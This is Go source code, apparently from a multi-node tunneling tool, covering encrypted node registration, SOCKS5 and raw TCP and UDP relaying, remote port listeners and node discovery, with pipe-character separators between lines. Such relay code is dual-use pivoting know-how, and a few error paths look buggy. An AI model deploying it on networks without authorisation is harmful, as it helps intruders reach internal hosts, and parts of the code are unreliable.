n.nextPingTime = now + 10 + rand.Int63n(10)
|
||||||
|
} else if n.nextPingTime < now {
|
||||||
|
go n.ping(0)
|
||||||
|
n.nextPingTime = now + 30 + rand.Int63n(30)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
time.AfterFunc(time.Second*1, nodeTickPing)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 节点
|
||||||
|
type node struct {
|
||||||
|
id int
|
||||||
|
uuid string
|
||||||
|
hostName string
|
||||||
|
goos string
|
||||||
|
addr string
|
||||||
|
connMap sync.Map
|
||||||
|
udpConnMap sync.Map
|
||||||
|
listenMap sync.Map //client端会存入clientListen,server存入serverListen
|
||||||
|
shellMap sync.Map
|
||||||
|
queryMap sync.Map
|
||||||
|
conn *Conn
|
||||||
|
pingTime, pongTime int64
|
||||||
|
mainIp string
|
||||||
|
port int
|
||||||
|
listen net.Listener
|
||||||
|
nextPingTime int64
|
||||||
|
|
||||||
|
waitMsg []*common.Msg //需要等待处理的消息
|
||||||
|
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
|
||||||
|
isClose int32
|
||||||
|
reConnectAddrs []string //重连节点需要的信息
|
||||||
|
}
|
||||||
|
type nodeInfo struct {
|
||||||
|
UUID string
|
||||||
|
HostName string
|
||||||
|
MainIp string
|
||||||
|
Port string
|
||||||
|
Goos string
|
||||||
|
}
|
||||||
|
|
||||||
|
func connectNew(addr string) (n *node, e error) {
|
||||||
|
//先从已连接查找
|
||||||
|
for _, node := range nodeMap {
|
||||||
|
if fmt.Sprintf("%s:%d", node.mainIp, node.port) == addr {
|
||||||
|
return node, nil
|
||||||
|
} else if fmt.Sprintf("%s:%d", node.addr, node.port) == addr {
|
||||||
|
return node, nil
|
||||||
|
} else if node.uuid == addr {
|
||||||
|
return node, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
config := cert.Tlsconfig.Clone()
|
||||||
|
interfaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("无法获得网卡信息%v", err)
|
||||||
|
}
|
||||||
|
var connChan = make(chan *tls.Conn, 1)
|
||||||
|
raddr, err := net.ResolveTCPAddr("tcp", addr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
for _, i := range interfaces {
|
||||||
|
addrs, e := i.Addrs()
|
||||||
|
if e == nil {
|
||||||
|
for _, localAddr := range addrs {
|
||||||
|
go func(localAddr net.Addr) {
|
||||||
|
localstr := localAddr.String()
|
||||||
|
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
|
||||||
|
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
|
||||||
|
if laddr!=nil{
|
||||||
|
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
|
||||||
|
conn := tls.Client(netconn, config)
|
||||||
|
select {
|
||||||
|
case connChan <- conn:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}(localAddr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var conn *tls.Conn
|
||||||
|
select {
|
||||||
|
case c := <-connChan:
|
||||||
|
conn = c
|
||||||
|
case <-time.After(common.CMD_TIMEOUT):
|
||||||
|
return nil, fmt.Errorf("无法连接%s", addr)
|
||||||
|
}
|
||||||
|
c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()}
|
||||||
|
connMap.Store(c.remoteAddr, conn)
|
||||||
|
c.regResult = make(chan error, 1)
|
||||||
|
c.regResultNode = make(chan *node, 1)
|
||||||
|
c.handle()
|
||||||
|
c.reg()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
if c.node != nil {
|
||||||
|
l := clientLock.Lock()
|
||||||
|
find := false
|
||||||
|
for _, n := range upLevelNode {
|
||||||
|
if n.uuid == c.node.uuid {
|
||||||
|
find = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !find {
|
||||||
|
upLevelNode = append(upLevelNode, c.node)
|
||||||
|
}
|
||||||
|
|
||||||
|
l.Unlock()
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case err = <-c.regResult:
|
||||||
|
return nil, err
|
||||||
|
case n = <-c.regResultNode:
|
||||||
|
//连接成功
|
||||||
|
n.reConnectAddrs = []string{addr}
|
||||||
|
return n, err
|
||||||
|
case <-time.After(time.Second * 10):
|
||||||
|
return nil, errors.New("time out")
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func (n *node) Write(option uint8, id uint32, b []byte) {
|
||||||
|
msg := common.Msg{
|
||||||
|
From: currentNode.uuid,
|
||||||
|
To: n.uuid,
|
||||||
|
CmdOpteion: option,
|
||||||
|
CmdId: id,
|
||||||
|
CmdData: b,
|
||||||
|
}
|
||||||
|
|
||||||
|
if n.uuid == currentNode.uuid {
|
||||||
|
n.mirrorNode.do(&msg)
|
||||||
|
} else {
|
||||||
|
b := msg.Marshal()
|
||||||
|
if n.conn != nil {
|
||||||
|
n.conn.OutChan <- b
|
||||||
|
} else {
|
||||||
|
upNodeWrite <- msg.Marshal()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
func (n *node) WriteMsg(msg *common.Msg) {
|
||||||
|
|
||||||
|
if n.conn != nil {
|
||||||
|
n.conn.OutChan <- msg.Marshal()
|
||||||
|
} else {
|
||||||
|
upNodeWrite <- msg.Marshal()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func (n *node) do(msg *common.Msg) {
|
||||||
|
|
||||||
|
var err error
|
||||||
|
//fmt.Println(common.CmdToName[msg.CmdOpteion])
|
||||||
|
switch msg.CmdOpteion {
|
||||||
|
case common.CMD_CONNECT_BYIDADDR:
|
||||||
|
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||||
|
if len(msg.CmdData) < 9 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
conn := &serverConnect{}
|
||||||
|
conn.node = n
|
||||||
|
conn.id = msg.CmdId
|
||||||
|
conn.write = make(chan *bytes.Buffer, 64)
|
||||||
|
conn.close = 0
|
||||||
|
conn.windowsSize = 0
|
||||||
|
conn.wait = make(chan int)
|
||||||
|
n.connMap.Store(conn.id, conn)
|
||||||
|
conn.randkey = make([]byte, 8)
|
||||||
|
copy(conn.randkey, msg.CmdData)
|
||||||
|
addr := string(msg.CmdData[9:])
|
||||||
|
|
||||||
|
switch common.NetWork(msg.CmdData[8]) {
|
||||||
|
case common.SOCKS5_CMD_CONNECT:
|
||||||
|
conn.address = addr
|
||||||
|
go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr)
|
||||||
|
case common.SOCKS5_CMD_UDP:
|
||||||
|
go conn.doHandleUdp()
|
||||||
|
case common.RAW_TCP:
|
||||||
|
go conn.doConnectTcp(common.RAW_TCP, addr)
|
||||||
|
case common.RAW_TCP_WITH_PROXY:
|
||||||
|
go conn.doConnectTcpWithHttpProxy(common.RAW_TCP_WITH_PROXY, addr)
|
||||||
|
case common.SOCKS5_CMD_BIND:
|
||||||
|
_l, err := net.Listen("tcp", addr)
|
||||||
|
if err != nil {
|
||||||
|
data := append(conn.randkey, 0)
|
||||||
|
data = append(data, err.Error()...)
|
||||||
|
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId, randkey: conn.randkey}
|
||||||
|
|
||||||
|
n.connMap.Delete(conn.id)
|
||||||
|
l.socks5Replay = make([]byte, len(msg.CmdData[8:]))
|
||||||
|
copy(l.socks5Replay, msg.CmdData[8:])
|
||||||
|
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
|
||||||
|
n.listenMap.Store(l.id, l)
|
||||||
|
go l.Lisen()
|
||||||
|
}
|
||||||
|
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||||
|
|
||||||
|
if v, ok := n.connMap.Load(msg.CmdId); ok {
|
||||||
|
if conn, ok := v.(common.Conn); ok {
|
||||||
|
conn.Write(append([]byte{common.CMD_CONNECT_BYIDADDR_RESULT}, msg.CmdData...))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case common.CMD_CONN_MSG:
|
||||||
|
|
||||||
|
v, ok1 := n.connMap.Load(msg.CmdId)
|
||||||
|
conn, ok2 := v.(common.Conn)
|
||||||
|
if !ok1 || !ok2 {
|
||||||
|
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
conn.Write(append([]byte{common.CMD_CONN_MSG}, msg.CmdData...))
|
||||||
|
case common.CMD_DELETE_CONNID:
|
||||||
|
v, ok := n.connMap.Load(msg.CmdId)
|
||||||
|
if ok {
|
||||||
|
if conn, ok2 := v.(common.Conn); ok2 {
|
||||||
|
conn.Close("对方节点要求关闭")
|
||||||
|
} else {
|
||||||
|
n.connMap.Delete(msg.CmdId)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_WINDOWS_UPDATE:
|
||||||
|
v, ok := n.connMap.Load(msg.CmdId)
|
||||||
|
if ok {
|
||||||
|
conn := v.(*serverConnect)
|
||||||
|
windows_update_size := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
|
||||||
|
if windows_update_size > 0 {
|
||||||
|
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
|
||||||
|
if old < 0 {
|
||||||
|
go func() {
|
||||||
|
select {
|
||||||
|
case conn.wait <- common.CONN_STATUS_OK:
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} else {
|
||||||
|
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_REG:
|
||||||
|
func() {
|
||||||
|
l := clientLock.Lock()
|
||||||
|
defer l.Unlock()
|
||||||
|
|
||||||
|
var regmsg common.RegMsg
|
||||||
|
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||||
|
if err != nil {
|
||||||
|
regmsg.Err = err.Error()
|
||||||
|
b, _ := json.Marshal(regmsg)
|
||||||
|
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
uuid := regmsg.UUID
|
||||||
|
if uuid == currentNode.uuid {
|
||||||
|
regmsg.Err = "不能连接自己"
|
||||||
|
b, _ := json.Marshal(regmsg)
|
||||||
|
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||||
|
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||||
|
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||||
|
n.port = -1
|
||||||
|
}
|
||||||
|
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||||
|
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||||
|
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||||
|
n.addr = n.addr[:i]
|
||||||
|
}
|
||||||
|
resultMsg := regmsg
|
||||||
|
resultMsg.UUID = currentNode.uuid
|
||||||
|
resultMsg.Hostname = cert.RSAEncrypterStr(currentNode.hostName)
|
||||||
|
resultMsg.MainIp = cert.RSAEncrypterStr(currentNode.mainIp)
|
||||||
|
resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port))
|
||||||
|
resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos)
|
||||||
|
|
||||||
|
b, _ := json.Marshal(resultMsg)
|
||||||
|
//返回成功结果
|
||||||
|
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||||
|
//储存节点
|
||||||
|
n.uuid = uuid
|
||||||
|
if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 {
|
||||||
|
n.conn.node = n
|
||||||
|
nodeMap[regmsg.UUID] = n
|
||||||
|
|
||||||
|
}
|
||||||
|
currentNode.broadcastNode()
|
||||||
|
//把本机所有节点同步到注册机器
|
||||||
|
go n.writeGetNodeResult(msg.CmdId)
|
||||||
|
}()
|
||||||
|
case common.CMD_REG_RESULT:
|
||||||
|
var regmsg common.RegMsg
|
||||||
|
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case n.conn.regResult <- err:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if regmsg.Err != "" {
|
||||||
|
select {
|
||||||
|
case n.conn.regResult <- errors.New(regmsg.Err):
|
||||||
|
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
|
||||||
|
l := clientLock.Lock()
|
||||||
|
|
||||||
|
n.uuid = regmsg.UUID
|
||||||
|
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||||
|
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||||
|
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||||
|
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||||
|
n.addr = n.addr[:i]
|
||||||
|
}
|
||||||
|
workconn := n.conn
|
||||||
|
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||||
|
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||||
|
n.port = -1
|
||||||
|
}
|
||||||
|
if v, ok := nodeMap[regmsg.UUID]; ok {
|
||||||
|
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
|
||||||
|
n.uuid = "" //清空uuid避免正常的node被删
|
||||||
|
n.conn.Close("重复注册") //当前的连接关掉
|
||||||
|
n.conn = v.conn
|
||||||
|
v.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||||
|
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||||
|
v.port = -1
|
||||||
|
}
|
||||||
|
n = v
|
||||||
|
} else {
|
||||||
|
n.conn.node = n
|
||||||
|
}
|
||||||
|
|
||||||
|
} else {
|
||||||
|
n.conn.node = n
|
||||||
|
}
|
||||||
|
|
||||||
|
nodeMap[n.uuid] = n
|
||||||
|
l.Unlock()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case workconn.regResultNode <- n:
|
||||||
|
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
//交换节点
|
||||||
|
n.writeGetNodeResult(msg.CmdId)
|
||||||
|
|
||||||
|
case common.CMD_REMOTE_REG:
|
||||||
|
|
||||||
|
var regmsg common.RegMsg
|
||||||
|
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||||
|
if currentConfig.Limit {
|
||||||
|
regmsg.Err = "node is in limit mode"
|
||||||
|
b, _ := json.Marshal(regmsg)
|
||||||
|
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err == nil {
|
||||||
|
var newNode *node
|
||||||
|
|
||||||
|
newNode, err = connectNew(regmsg.RegAddr)
|
||||||
|
if err == nil {
|
||||||
|
|
||||||
|
regmsg.UUID = newNode.uuid
|
||||||
|
regmsg.Hostname = cert.RSADecrypterStr(newNode.hostName)
|
||||||
|
regmsg.ViaUUID = cert.RSADecrypterStr(currentNode.uuid)
|
||||||
|
regmsg.MainIp = cert.RSADecrypterStr(newNode.mainIp)
|
||||||
|
regmsg.Port = cert.RSADecrypterStr(strconv.Itoa(newNode.port))
|
||||||
|
regmsg.Goos = cert.RSADecrypterStr(newNode.goos)
|
||||||
|
b, _ := json.Marshal(regmsg)
|
||||||
|
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
regmsg.Err = err.Error()
|
||||||
|
b, _ := json.Marshal(regmsg)
|
||||||
|
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||||
|
}
|
||||||
|
n.writeGetNodeResult(msg.CmdId)
|
||||||
|
case common.CMD_REMOTE_REG_RESULT:
|
||||||
|
var regmsg common.RegMsg
|
||||||
|
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||||
|
v, ok := n.loadQuery(msg.CmdId)
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
v <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if regmsg.Err != "" {
|
||||||
|
v <- errors.New(regmsg.Err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
l := clientLock.Lock()
|
||||||
|
if n.uuid != regmsg.UUID {
|
||||||
|
var targetNode *node
|
||||||
|
if targetNode, ok = nodeMap[regmsg.UUID]; !ok {
|
||||||
|
targetNode = getNewNode(nodeInfo{
|
||||||
|
UUID: regmsg.UUID,
|
||||||
|
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||||
|
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
|
||||||
|
Port: cert.RSADecrypterStr(regmsg.Port),
|
||||||
|
Goos: cert.RSADecrypterStr(regmsg.Goos),
|
||||||
|
}, n)
|
||||||
|
|
||||||
|
nodeMap[regmsg.UUID] = targetNode
|
||||||
|
} else {
|
||||||
|
targetNode.updateNode(nodeInfo{
|
||||||
|
UUID: regmsg.UUID,
|
||||||
|
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||||
|
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
|
||||||
|
Port: cert.RSADecrypterStr(regmsg.Port),
|
||||||
|
Goos: cert.RSADecrypterStr(regmsg.Goos),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
v <- targetNode
|
||||||
|
} else {
|
||||||
|
v <- n
|
||||||
|
}
|
||||||
|
|
||||||
|
l.Unlock()
|
||||||
|
n.writeGetNodeResult(msg.CmdId)
|
||||||
|
|
||||||
|
case common.CMD_PING:
|
||||||
|
n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...))
|
||||||
|
case common.CMD_NONE:
|
||||||
|
|
||||||
|
case common.CMD_PONG:
|
||||||
|
pingTime := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
|
||||||
|
if pingTime != n.pingTime {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
n.addr = string(msg.CmdData[8:])
|
||||||
|
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||||
|
n.addr = n.addr[:i]
|
||||||
|
}
|
||||||
|
n.pongTime = time.Now().Unix()
|
||||||
|
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||||
|
select {
|
||||||
|
case v <- struct{}{}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
case common.CMD_CONN_UDP_MSG:
|
||||||
|
|
||||||
|
_, ok := n.connMap.Load(msg.CmdId)
|
||||||
|
|
||||||
|
if ok {
|
||||||
|
|
||||||
|
var conn common.Conn
|
||||||
|
id := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
|
||||||
|
if v2, ok := n.connMap.Load(id); ok {
|
||||||
|
conn = v2.(common.Conn)
|
||||||
|
} else {
|
||||||
|
var ip string
|
||||||
|
switch msg.CmdData[4] {
|
||||||
|
case 1:
|
||||||
|
ip = fmt.Sprintf("%d.%d.%d.%d:%d", msg.CmdData[5], msg.CmdData[6], msg.CmdData[7], msg.CmdData[8], int(msg.CmdData[9])<<8|int(msg.CmdData[10]))
|
||||||
|
|
||||||
|
case 3:
|
||||||
|
case 4:
|
||||||
|
}
|
||||||
|
udpconn := &serverConnect{}
|
||||||
|
udpconn.conn, err = net.Dial("udp", ip)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
udpconn.node = n
|
||||||
|
udpconn.id = id
|
||||||
|
udpconn.write = make(chan *bytes.Buffer, 64)
|
||||||
|
udpconn.close = 0
|
||||||
|
udpconn.windowsSize = 0
|
||||||
|
udpconn.wait = make(chan int)
|
||||||
|
|
||||||
|
n.connMap.Store(udpconn.id, udpconn)
|
||||||
|
go udpconn.handUdpReceive()
|
||||||
|
conn = udpconn
|
||||||
|
}
|
||||||
|
switch msg.CmdData[4] {
|
||||||
|
case 1:
|
||||||
|
conn.Write(append([]byte{common.CMD_CONN_UDP_MSG}, msg.CmdData[11:]...))
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
case common.CMD_LISTEN:
|
||||||
|
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||||
|
if len(msg.CmdData) < 8 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
randkey := make([]byte, 8)
|
||||||
|
copy(randkey, msg.CmdData)
|
||||||
|
//fmt.Println("listen", string(data[common.Headlen+4:]))
|
||||||
|
_l, err := net.Listen("tcp", string(msg.CmdData[8:]))
|
||||||
|
if err != nil {
|
||||||
|
data := append(randkey, 0)
|
||||||
|
data = append(randkey, err.Error()...)
|
||||||
|
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
|
||||||
|
}
|
||||||
|
l := &serverListen{listen: _l, node: n, id: msg.CmdId, randkey: randkey}
|
||||||
|
n.listenMap.Store(msg.CmdId, l)
|
||||||
|
|
||||||
|
go l.Lisen()
|
||||||
|
case common.CMD_REMOTE_SOCKS5:
|
||||||
|
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||||
|
if len(msg.CmdData) < 8 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
randkey := make([]byte, 8)
|
||||||
|
copy(randkey, msg.CmdData)
|
||||||
|
|
||||||
|
cfg, err := common.ParseAddr(string(msg.CmdData[8:]))
|
||||||
|
if err != nil {
|
||||||
|
data := append(randkey, 0)
|
||||||
|
data = append(data, err.Error()...)
|
||||||
|
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
l := &serverListen{node: n, id: msg.CmdId, randkey: randkey}
|
||||||
|
l.listen, err = StartSocks5WithServer(cfg, n, l.id)
|
||||||
|
if err != nil {
|
||||||
|
data := append(randkey, 0)
|
||||||
|
data = append(data, err.Error()...)
|
||||||
|
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
|
||||||
|
}
|
||||||
|
|
||||||
|
n.listenMap.Store(l.id, l)
|
||||||
|
|
||||||
|
case common.CMD_LISTEN_RESULT:
|
||||||
|
|
||||||
|
if len(msg.CmdData) < 9 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
|
||||||
|
if c, ok := v.(*clientListen); ok {
|
||||||
|
if string(c.randkey) == string(msg.CmdData[:8]) {
|
||||||
|
if msg.CmdData[8] == 0 {
|
||||||
|
select {
|
||||||
|
case c.result <- errors.New(string(msg.CmdData[9:])):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
} else {
|
||||||
|
select {
|
||||||
|
case c.result <- nil:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_DELETE_LISTEN:
|
||||||
|
if len(msg.CmdData) < 8 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||||
|
switch s := v.(type) {
|
||||||
|
case *serverListen:
|
||||||
|
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||||
|
s.Close(remoteClose)
|
||||||
|
n.listenMap.Delete(msg.CmdId)
|
||||||
|
}
|
||||||
|
|
||||||
|
case *clientListen:
|
||||||
|
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||||
|
s.Close(remoteClose)
|
||||||
|
n.listenMap.Delete(msg.CmdId)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_DELETE_LISTENCONN_BYID:
|
||||||
|
if len(msg.CmdData) != 12 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
deleteId := uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
|
||||||
|
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||||
|
if s, ok := v.(*serverListen); ok {
|
||||||
|
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||||
|
conn, ok := s.connMap.Load(deleteId)
|
||||||
|
if ok {
|
||||||
|
conn.(*serverConnect).Close(remoteClose)
|
||||||
|
s.connMap.Delete(deleteId)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_PWD:
|
||||||
|
if currentConfig.Password == cert.RSADecrypterByPub(string(msg.CmdData)) {
|
||||||
|
pwd, _ := os.Getwd()
|
||||||
|
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_PWD_RESULT:
|
||||||
|
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||||
|
select {
|
||||||
|
case v <- string(msg.CmdData):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
case common.CMD_GET_NODE:
|
||||||
|
n.writeGetNodeResult(msg.CmdId)
|
||||||
|
case common.CMD_GET_NODE_RESULT:
|
||||||
|
l := clientLock.Lock()
|
||||||
|
defer l.Unlock()
|
||||||
|
|
||||||
|
var s []nodeInfo
|
||||||
|
err = json.Unmarshal(msg.CmdData, &s)
|
||||||
|
if err == nil {
|
||||||
|
for _, _n := range s {
|
||||||
|
_n = nodeInfo{
|
||||||
|
UUID: _n.UUID,
|
||||||
|
HostName: cert.RSADecrypterStr(_n.HostName),
|
||||||
|
MainIp: cert.RSADecrypterStr(_n.MainIp),
|
||||||
|
Port: cert.RSADecrypterStr(_n.Port),
|
||||||
|
Goos: cert.RSADecrypterStr(_n.Goos),
|
||||||
|
}
|
||||||
|
if _n.UUID != currentNode.uuid {
|
||||||
|
if v, ok := nodeMap[_n.UUID]; !ok {
|
||||||
|
nodeMap[_n.UUID] = getNewNode(_n, n)
|
||||||
|
} else {
|
||||||
|
v.hostName = _n.HostName
|
||||||
|
v.mainIp = _n.MainIp
|
||||||
|
v.port, _ = strconv.Atoi(_n.Port)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
v, ok := n.loadQuery(msg.CmdId)
|
||||||
|
if ok {
|
||||||
|
//通知已更新列表
|
||||||
|
select {
|
||||||
|
case v <- err:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case common.CMD_GET_CURRENT_NODE:
|
||||||
|
nmsg := &nodeInfo{
|
||||||
|
UUID: currentNode.uuid,
|
||||||
|
HostName: cert.RSAEncrypterStr(currentNode.hostName),
|
||||||
|
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||||
|
Port: cert.RSAEncrypterStr(fmt.Sprint(currentNode.port)),
|
||||||
|
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||||
|
}
|
||||||
|
b, _ := json.Marshal(nmsg)
|
||||||
|
n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b)
|
||||||
|
|
||||||
|
case common.CMD_ADD_NODE:
|
||||||
|
var nmsg nodeInfo
|
||||||
|
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
l := clientLock.Lock()
|
||||||
|
defer l.Unlock()
|
||||||
|
if v, ok := nodeMap[nmsg.UUID]; !ok {
|
||||||
|
newNode := getNewNode(nmsg, n)
|
||||||
|
nodeMap[nmsg.UUID] = newNode
|
||||||
|
} else if nmsg.UUID != currentNode.uuid {
|
||||||
|
port, err := strconv.Atoi(cert.RSADecrypterStr(nmsg.Port))
|
||||||
|
if err == nil {
|
||||||
|
v.port = port
|
||||||
|
} else {
|
||||||
|
v.port = -1
|
||||||
|
}
|
||||||
|
|
||||||
|
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||||
|
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||||
|
v.goos = cert.RSADecrypterStr(nmsg.Goos)
